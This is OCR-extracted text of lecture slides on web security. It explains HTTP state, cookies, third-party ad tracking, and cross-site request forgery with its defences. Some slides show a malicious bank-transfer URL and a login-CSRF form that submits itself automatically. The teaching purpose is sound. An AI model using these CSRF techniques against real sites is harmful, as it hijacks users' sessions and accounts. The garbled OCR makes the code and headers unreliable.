Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Vary: Accept-Encoding, Cookie
|X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.]

X-Pingback: http://blog.lifars.com/xmlirpc.php
Link: <http://wp.me/p4BZPV-iV>; rel=shortlink
Last-Modified: Thu, 19 Feb 2015 17:25:28 GMT
Cache-Control: max-age=300, must-revalidate
(X-nananana: Batcach‘e_)

Content-Encoding: gzip




HI [P Is stateless

* The litetime of an HT TP session is typically:
 Client connects to the server
+ Client issues a request
+ Server responds
-+ Client issues a request for something in the response
... repeat ....
» Client disconnects

« HTTP has no means of noting “oh this is the same
client from that previous session”

e With this alone, you'd have to log in at every page load
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Client Server
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Browser Web server

* Server processing results in intermediate state
* Send the state to the client in hidden fields

* Client returns the state in subsequent responses
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Maintaining state across HI TP sessions

Client Server

HTTP Request

Browser Web server

State

* Server processing results in intermediate state
* Send the state to the client in hidden fields

* Client returns the state in subsequent responses



Online ordering

socks.com

Order

‘lu l

$5.50



http://socks.com

Online ordering

socks.com socks.com

Order Pay

The total cost is $5.50.
Confirm order?

Separate page


http://socks.com

Online ordering

What’s presented to the user

<html>

<head> <title>Pay</title> </head>

<body>

<form action=“submit
The total cost 1is $5.

<input type=*“hidden”
<input type=“submit”
<input type=“submit”

</body>
</html>

order” method=“GET">

50. Confirm order?
name=“price” value=“5.50">
name="pay” value="yes”>
name="pay” value="no"”>




Online ordering

What’s presented to the user

<html>
<head> <title>Pay</title> </head>
<body>

<form action=“submit order” method="“GET">
The total cost 1s $5.50. Conflrm order?

<input type=*“submit” name="“pay” value="yes’>
<input type=*“submit” name="“pay” value=“no”>

</body>
</html>




Online ordering

The corresponding backend processing

if(pay == yes && price != NULL)
1
bill creditcard(price);
deliver socks();
h
else
display transaction cancelled page();




Online ordering

The corresponding backend processing

1f (pay == yes &&!= NULL)
1
bill creditcard(price);
deliver socks();
h
else
display transaction cancelled page();




Online ordering

What’s presented to the user

<html>
<head> <title>Pay</title> </head>
<body>

<form action=“submit order” method="“GET">
The total cost 1s $5.50. Conflrm order?

<input type=*“submit” name="“pay” value="yes’>
<input type=*“submit” name="“pay” value=“no”>

</body>
</html>




Online ordering

What’s presented to the user

<html>
<head> <title>Pay</title> </head>
<body>

<form action=“submit order” method="“GET">
The total cost 1s $5.50. Conflrm order?

<input type=*“submit” name="“pay” value="yes’>
<input type=*“submit” name="“pay” value=“no”>

</body>
</html>




Minimizing trust in the client

What’s presented to the user

<html>
<head> <title>Pay</title> </head>
<body>

<form action=“submit order” method="“GET">

The total cost is $5.50. Confirm order?

<input type=“hidden” name=*“price” value=“5.50">
<input type=*“submit” name="“pay” value="yes’>
<input type=*“submit” name="“pay” value=“no”>

</body>
</html>




Minimizing trust in the client

What’s presented to the user

<html>
<head> <title>Pay</title> </head>
<body>

<form action=“submit order” method="“GET">

The total cost is $5.50. Confirm order?

<input type=“hidden” name=*“sid” value=“781234">
<input type=*“submit” name="“pay” value="yes’>
<input type=*“submit” name="“pay” value=“no”>

</body>
</html>




Minimizing trust in the client

The corresponding backend processing

price = lookup(sid);
if(pay == yes && price != NULL)
{

bill creditcard(price);
deliver socks();
h
else
display transaction cancelled page();




Minimizing trust in the client

The corresponding backend processing

price = lookup(sid);
if(pay == yes && price != NULL)
{

bill creditcard(price);
deliver socks();
h
else
display transaction cancelled page();

We don’t want to pass hidden fields around all the time
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Statefulness with Cookies

Client Server

‘=

HTTP Request
Browser Web server

e Server stores state, indexes it with a cookie
e Send this cookie to the client

* Client stores the cookie and returns it with
sulbsequent gueries to that same server



Headers

Data

Cookies are key-value pairs

Set-Cookie:key=value; options; ....

HTTP/1.1 200 OK

Date: Tue, 18 Feb 2014 08:20:34 GMT

Server: Apache

Set-Cookie: session-zdnet-production=6bhqcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
Set-Cookie: zdregion=MTI5LjIuMTISLjE1IMzplczplczpjZDJmNWYSYTdkODUIN2Q2YzM5NGU3M2Y1ZTRmMN
Set-Cookie: zdregion=MTI5LjIuMTISLjE1IMzplczplczp)ZDJmNWYSYTdkODU1IN2Q2YzM5SNGU3M2Y1ZTRmMN
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: session-zdnet-production=590b97fpinge4bg6lded4dvvqll; path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop

Set-Cookie: zdnet_ad session=f

Set-Cookie: firstpg=0

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-UA-Compatible: IE=edge,chrome=1

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 18922

Keep-Alive: timeout=70, max=146

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<html> .... </html>




Headers

Data

Cookies are key-value pairs

Set-Cookie:key=value; options; ....

HTTP/1.1 200 OK

Date: Tue, 18 Feb 2014 08:20:34 GMT

Server: Apache

Set-Cookie: session-zdnet-production=6bhqcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
Set-Cookie: zdregion=MTI5LjIuMTISLjE1IMzplczplczpjZDJmNWYSYTdkODUIN2Q2YzM5NGU3M2Y1ZTRmMN
Set-Cookie: zdregion=MTISLjIUMTISLjE1MzplczplczpiZDIMNWYSYTdkODUIN2Q2YzZMSNGU3M2Y1ZTRmMN
Set-Cookieseditionjfus] expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: SESSION-Zdnet-production=590b971pingedbgbldeddvvqll, path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop

Set-Cookie: zdnet_ad session=f

Set-Cookie: firstpg=0

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-UA-Compatible: IE=edge,chrome=1

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 18922

Keep-Alive: timeout=70, max=146

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<html> .... </html>




Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Client Semantics

Browser

(Private)
Data




Cookies

Set-Cookie: (edition=us) expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Client Semantics

e Store “us” under the key “edition” (think of
it like one big hash table)

Browser

(Private)
Data




Cookies

Set-Cookie: (edition=us)(expires=Wed, 18-Feb-2015 08:20:34 GMT} path=/; domain=.zdnet.com

Client Semantics

e Store “us” under the key “edition” (think of

it like one big hash table)
Browser

* This value is no good as of Wed Feb 18...

(Private)
Data




Cookies

Set-Cookie:(edition=us}expires=Wed, 18-Feb-2015 08:20:34 GMT) path=/; [domain=.zdnet.com)

Client Semantics

e Store “us” under the key “edition” (think of

it like one big hash table)
Browser

* This value is no good as of Wed Feb 18...

e This value should only be readable by
any domain ending in . zdnet.com

(Private)
Data




Cookies

Set-Cookie:(edition=us)expires=Wed, 18-Feb-2015 08:20:34 GMT] path=/;Jdomain=.zdnet.com)

Client Semantics

e Store “us” under the key “edition” (think of
it like one big hash table)

Browser

* This value is no good as of Wed Feb 18...

e This value should only be readable by
any domain ending in . zdnet.com

e This should be available to any resource

(PSV?TG) within a subdirectory of /
ata




Cookies

Set-Cookie:(edition=us)expires=Wed, 18-Feb-2015 08:20:34 GMT] path=/;Jdomain=.zdnet.com)

Client Semantics

e Store “us” under the key “edition” (think of
it like one big hash table)

Browser
* This value is no good as of Wed Feb 18...

e This value should only be readable by
any domain ending in . zdnet.com

e This should be available to any resource
within a subdirectory of /

(Private)
Data

e Send the cookie to any future requests to
<domain>/<path>




Cookies

Set-Cookie:(edition=us)expires=Wed, 18-Feb-2015 08:20:34 GMT] path=/;Jdomain=.zdnet.com)

Client Semantics

e Store “us” under the key “edition” (think of
it like one big hash table)

Browser
* This value is no good as of Wed Feb 18...

e This value should only be readable by
any domain ending in . zdnet.com

e This should be available to any resource
within a subdirectory of /

(Private)
Data

e Send the cookie to any future requests to
<domain>/<path>




Reqguests with cookies

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache

Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:

session-zdnet-production=6bhqcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
zdregion=MTI5LjIuMTI5LjEIMzplczplczpjZD)mNWYSYTdkODU1IN2Q2YzMSNGU3M2Y1ZTRmMN
zdregion=MTI5LjIuMTISLE1IMzplczplczpjZD)mNWYSYTdkODU1IN2Q2YzM5NGU3M2Y1ZTRmMN
edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
session-zdnet-production=590b97fpinge4bgblded4dvvqll; path=/; domain=zdnet.com

* Subsequent visit




Response

Reqguests with cookies

(HTTP/1.1 200 OK )

Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache

Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:

session-zdnet-production=6bhqcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
zdregion=MTI5LjIuMTI5LjEIMzplczplczpjZD)mNWYSYTdkODU1IN2Q2YzMSNGU3M2Y1ZTRmMN
zdregion=MTI5LjIuMTI5LjE1IMzplczplczpjZD)mNWYSYTdkODU1IN2Q2YzMSNGU3M2Y1ZTRmMN
edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
session-zdnet-production=590b97fpinge4bgblded4dvvqll; path=/; domain=zdnet.com

* Subsequent visit




Response

Reqguests with cookies

(HTTP/1.1 200 OK )

Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache

Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:
Set-Cookie:

session-zdnet-production=6bhqcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
zdregion=MTI5LjIuMTISLE1MzplczplczpjZDJmNWYSYTdkODUIN2Q2YzZM5NGU3M2Y1ZTRmMN
zdregion=MTI5LjIuMTISLE1IMzplczplczpjZD)mNWYSYTdkODU1IN2Q2YzM5NGU3M2Y1ZTRmMN
edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT,; path=/; domain=.zdnet.com
session-zdnet-production=590b97fpinge4bgblded4dvvqll; path=/; domain=zdnet.com

* Subsequent visit

HTTP Headers
http://zdnet.com/

GET /HTTP/1.1
Host: zdnet.com
User-Agent: Mozilla/5.0 (X11; U; Linux i1686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/ntml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;0=0.7,*%;0=0.7

Keep-Alive: 115

Connecfnn.xeep_alw' : :
Cookie session-zdnet-productionz590b97fpinqe4bgﬁlde4dwq11](zdregion=MTI5leuMTISl_jEleplczplczijDJmNW‘) mmw

e




Why use cookies?

e Personalization
- Let an anonymous user customize your site
- Store font choice, etc., in the cookie



Why use cookies?

e [racking users
- Advertisers want to know your behavior

|[deally build a profile across different websites
Read about iPad on CNN, then see ads on Amazon?!

- How can an advertiser (A) know what you did on another site (S)?
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Why use cookies?

e [racking users
- Advertisers want to know your behavior

- |deally build a profile across different websites
- Read about iPad on CNN, then see ads on Amazon?!

- How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

Option 1: A maintains a DB,

iIndexed by your I[P address Problem: IP addrs change

Option 2: A maintains a DB| - " Third-party cookie”

indexed by a cookie - Commonly used by large
ad networks (doubleclick)
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Snippet of reddit.com source

= <div class="si1de">

+ =div
+ =<div
<div
+ =div
+ <div
= =d1iv

class="spacer">
class="spacer">
class="spacer">
class="spacer">
class="spacer">
class="spacer">

= <iframe id="ad _main" scrolling="nc" frameborder="0" src="http://static.adzerk.net
/reddit/ads.html ?sr=-reddit.com,loggedout&bust2#http://www. reddit.com" name="ad _main">

= <html=>
= <head>

<style=

«=script type="text/javascript" async="" src="http://engine.adzerk.net
fados 7t=1424367472275&request={"Flacements" :
[{"A":5146, "S":24950, "D": "main", "AT":5},
{"A":5146,"S":24950, "D": "sponsorship", "AT":8}], "Keywords" : " -reddit .com®%2Clogg
%3A% 2P 2Pwww . reddit . com%2F", "IsAsync" :true, "WriteResults":true}">

<script src="//ajax.googleapis.com/ajax/libs/jquerys/1.7.1
/ijquery.min.js" type="text/javascript"=>

<script src="//secure.adzerk.net/ados.]157q=43" type="text/javascript">

=script type="text/javascript"=>

+ <script type="text/javascript">

<script type="text/javascript"” src="http://static.adzerk.net/Extensions
/adFeedback.js">

# <link rel="stylesheet" href="http://static.adzerk.net/Extensions
/adFeedback.css">

</head=>


http://reddit.com

Snippet of reddit.com source

= <div class="s1de">

+ =div
+ =<div
+ <div
+ =div
+ <div
= =d1iv

class="spacer">
class="spacer">
class="spacer">
class="spacer"=>

CLRSS="Spacer s Our first time accessing adzerk.net

class="spacer">

= <iframe id="ad main" scrolling="nc" frameborder="0" src="http://static.adzerk.net ]
/reddit/ads . html ?sr=-reddit.com,loggedout&bust2Zhttp://www. reddit.com" name="ad _main">
= <html=
= <head>
+ <style=

«=script type="text/javascript" async="" src="http://engine.adzerk.net
fados 7t=1424367472275&request={"Flacements" :
[{"A":5146, "S":24950,"D": "main", "AT":5},
{"A":5146,"S" :24950, "D": "sponsorship", "AT":8}], "Keywords" : " -reddit .com%2Clogg
%3A% 2% 2Pwww . reddit . com%2F", "IsAsync" :true, "WriteResults":true}">

+ <script src="//ajax.googleapis.com/ajax/Libs/jquerys/1.7.1
/ijquery.min.js" type="text/javascript"=>

+ <script src="//secure.adzerk.net/ados.157q=43" type="text/javascript">

+ =<script type="text/javascript"=

+ <script type="text/javascript">

# <=script type="text/javascript" src="http://static.adzerk.net/Extensions
/adFeedback.js">

+ <link rel="stylesheet" href="http://static.adzerk.net/Extensions
/adFeedback.css"=>

</head>


http://reddit.com

| visit reddit.com

HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.nct

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;c=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7 *;q=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 17:37:51 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: _ cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471; expires=Fri, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...
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| visit reddit.com

HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;c=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

' Referer: http://www.reddit.com/ '

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 17:37:51 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: _ cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471; expires=Fri, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...
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| visit reddit.com

HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;c=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

' Referer: http://www.reddit.com/ '

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 17:37:51 GMT
Content-Type: text/html
Transfer-Encoding: chunked

alive
' Set-Cookie: _cfduid=dc3a93cd30ca47b76600d63cde283e9b8142436747l;}axpires=Fn’, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...
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| visit reddit.com

| HTTP Headers
" http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2#http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.nct

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g—=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;,0=0.7

Keep-Alive: 115

' Referer: http://www.reddit.com/ '

HTTP/1.1 200 OK
Date: Thu, 19 Feb 2015 17:37:51 GMT

Content-Type: text/html
Transfer-Encoding: chunked

alive
' Set-Cookie: _cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471;]expires=Fri, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...

Later, | go to reddit.com/r/security

| HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=security.loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=security,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/r/security

Cookie: _ cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471
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| visit reddit.com

| HTTP Headers
" http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2#http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.nct

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g—=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;,0=0.7

Keep-Alive: 115

' Referer: http://www.reddit.com/ '

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 17:37:51 GMT
Content-Type: text/html
Transfer-Encoding: chunked

alive
' Set-Cookie: _cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471;]expires=Fri, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...

Later, | go to reddit.com/r/security

| HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=security.loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=security,loggedout&bust2 HTTP/1.1
Host: static.adzerk.net
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7
Keep-Alive: 115
Connection: keep-alive
(Referer: http://www.reddit.com/r/security)
Cookie: __ cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471
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| visit reddit.com

| HTTP Headers
" http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2#http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.nct

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g—=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;,0=0.7

Keep-Alive: 115

' Referer: http://www.reddit.com/ '

HTTP/1.1 200 OK
Date: Thu, 19 Feb 2015 17:37:51 GMT

Content-Type: text/html
Transfer-Encoding: chunked

alive
' Set-Cookie: _cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471;]expires=Fri, 19-Feb-16 17:37:51 GMT; path=/; domain=.adzerk.net...

Later, | go to reddit.com/r/security

| HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=security.loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=security,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

( Referer: httg://www.redd_it.corrlrlsecuﬁg )

O0KIE: Uld=ac3a395C d cae e 424 -
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| visit reddit.com

" HTTP Headers
" http://static.adzerk.net/reddit/ads.html?sr=-reddit.com,loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=-reddit.com,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko0/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;g—=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;,0=0.7

Keep-Alive: 115

Lo dempatne We are only sharing this cookie with

Referer: http://www.reddit.com/ « .

1900 Ok .adzerk.net; but we are telling them
Date: Thu, 19 Feb 2015 17:37:51 GMT

Content Type: text/t about where we just came from

Transfer-Encoding: chunked

alive
' Set-Cookie: _cfduid=dc3a93cd30ca47b76600d63cde283e9b81424367471;]expires=Fri, 19-Feb-16 17:37:51 GMT; path=!;(domain=.adzerk.net...)

Later, | go to reddit.com/r/security

| HTTP Headers
http://static.adzerk.net/reddit/ads.html?sr=security.loggedout&bust2 #http://www.reddit.com

GET /reddit/ads.html?sr=security,loggedout&bust2 HTTP/1.1

Host: static.adzerk.net

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

( Referer: httg:/lwww.redd_it.corrlr/securig )

O0KIE: Uld=ac3a395C ca cae e 424 -
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Cookies and web authentication

o An extremely common use of cookies Is to
track users who have already authenticated

o |f the user already visited

http://website.com/login.html?user=alice&pass=secret

with the correct password, then the server associates a
‘session cookie” with the logged-in user’s info

e Subsequent requests (GET and POST) include the cookie

in the request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=8lasf98as8eak

 The idea is for the server to be able to say “I am talking to
the same browser that authenticated Alice earlier.”



Cookies and web authentication

o An extremely common use of cookies Is to
track users who have already authenticated

o |f the user already visited

http://website.com/login.html?user=alice&pass=secret

with the correct password, then the server associates a
‘session cookie” with the logged-in user’s info

e Subsequent requests (GET and POST) include the cookie

in the request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=8lasf98as8eak

 The idea is for the server to be able to say “I am talking to
the same browser that authenticated Alice earlier.”

Attacks?



Cross-Site Request
Forgery (CSRF)



URLSs with side-eftects

http://bank.com/transfer.cgi?amt=9999&to=attacker

 GET requests should have no side-eftects, but
often do

 \What happens if the user is logged in with an active
session cookie and visits this link??

 How could you possibly get a user to visit this link”



http://bank.com/transfer.cgi?amt=9999&to=attacker

Exploiting URLs with side-effects

Client attacker.com

Browser
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Exploiting URLs with side-effects

Client attacker.com

P Browser

959

bank.com

Browser automatically
visits the URL to obtain
what it believes will be
an image.
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ogin CSRF

Victim Browser

GET /blog HTTP/1.1

www.attacker.com www.google.com

<form action=https://www.google.com/login
method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>

<fform>

<script>document.forms|0].submit()</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog

username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: Session|D=ZA1Fa34

GET /search?q=Illamas HTTP/1.1

Web History for attacker Cookie: Session|D=ZA1Fa34
Apr 7, 2008
9:20pm Searched for llamas

_



ogin CSRF

Victim Browser

GET /blog HTTP/1.1

www.attacker.com www.google.com

<form action=https://www.google.com/login
method=POST target=invisibleframe>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog

username=attacker&password=xyzzy

<input name=username value=attacker>

<input name=password value=xyzzy>
<ftorm=
<script>document.forms|0].submit()</script>

HTTP/1.1 200 OK
Set-Cookie: Session|D=ZA1Fa34

GET /search?q=Illamas HTTP/1.1

Web History for attacker Cookie: Session|D=ZA1Fa34
Apr 7, 2008
9:20pm Searched for llamas

_



Cross-Site Request Forgery

* Target: User who has some sort of account on a vulnerable
server where requests from the user’s browser to the server
have a predictable structure

* Attack goal: make requests to the server via the user’s
browser that look to the server like the user intended to make
them

* Attacker tools: ability to get the user to visit a web page under
the attacker's control

* Key tricks:
- Requests to the web server have predictable structure
- Use of something like <img src=...> to force the victim to send it



CSRF protections

e Client-side;:



CSRF protections

e Client-side;:

Disallow one site to link to another??

The loss of functionality would be too high



CSRF protections

e Client-side;:

Disallow one site to link to another??

The loss of functionality would be too high

Let’s consider server-side protections



Secret validation tokens

* |Include a secret validation token in the request
* Must be difticult for an attacker to predict

* Options:
» Random session |D
Stored as cookie (“session independent nonce”)
Stored at server (“session-dependent nonce”)

« The session cookie itself (“session identifier”)
http://website.com/doStuff.html?sid=8lasf98as8eak

« HMAC of the cookie

As unigue as session cookie, but learning the HMAC doesn't
reveal the cookie itselt



Referrer URLS



Referrer URLS

|[dea: Only allow certain actions if the
referrer URL Is from this site, as well



Referrer URLS

|[dea: Only allow certain actions if the
referrer URL Is from this site, as well

Problem: Often suppressed
| |

http://x = http://y GET

http://x = http://y POST

http://x = http://x GET

http://x = http://x POST

https://x = https://y GET
https://x = https://y POST

https.//x = https://x GET B Ad Network A

] Ad Network B

https://x = https://x POST

‘m—[ 1"
L

0% 2% 4% 6% 8% 10% 12%

Figure 2: Requests with a Missing or Incorrect Referer Header (283,945 observations). The *x” and “y”
represent the domain names of the primary and secondary web servers, respectively.
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Custom headers

Security through obscurity

Origin headers: More private Referrer headers

Include precisely what is needed
to identity the principal who referred

http://foo.com/embarrassing.html?data=00ps
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Include precisely what is needed
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Custom headers

Security through obscurity

Origin headers: More private Referrer headers

Include precisely what is needed
to identity the principal who referred

Send only for POST requests
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P Browser Web server



How can you steal a session cookie”

=

Client Server

P Browser Web server

 Compromise the user’'s machine / browser

e Sniff the network

* DNS cache poisoning
- [rick the user into thinking you are Facebook
« The user will send you the cookie



How can you steal a session cookie”

Client Server

P Browser Web server

 Compromise the user’'s machine / browser

**
&

+ » Sniff the network :

* DNS cache poisoning
- [rick the user into thinking you are Facebook
« The user will send you the cookie

Network-based attacks (more later)



Stealing users’ cookies

For now, we'll assume this attack model;

 [he user is visiting the site they expect
» All Interactions are strictly through the browser



Dynamic web pages

* Rather than static HTML, web pages can be
expressed as a program, e.g., written in Javascript:

<html><body>
Hello, <b>

<script>

var a = 1;

var b = 2;

document.write(“world: “, a+b, “</b>");
</script>

</body></html>




o) relation)

\.J avaSCH pt (n to Java

 Powerful web page programming language

o Scripts are embedded in web pages returned by
the web server

» Scripts are executed by the browser. They can:
- Alter page contents (DOM objects)
+ [rack events (mouse clicks, motion, keystrokes)
Issue web requests & read replies
» Maintain persistent connections (AJAX)
* Read and set cookies



What could go wrong?

 Browsers need to confine Javascript's power

A script on attacker.com should not be able to:
- Alter the layout of a bank.com web page

- Read keystrokes typed by the user while on a
bank.com web page

* Read cookies belonging to bank.com



Same Origin Policy

Browsers provide isolation for javascript scripts via
the Same Origin Policy (SOP)

Browser associates web page elements. ..
- Layout, cookies, events

...with a given origin
* The hostname (bank.com) that provided the
elements in the first place

SOP = only scripts received from a web page’s
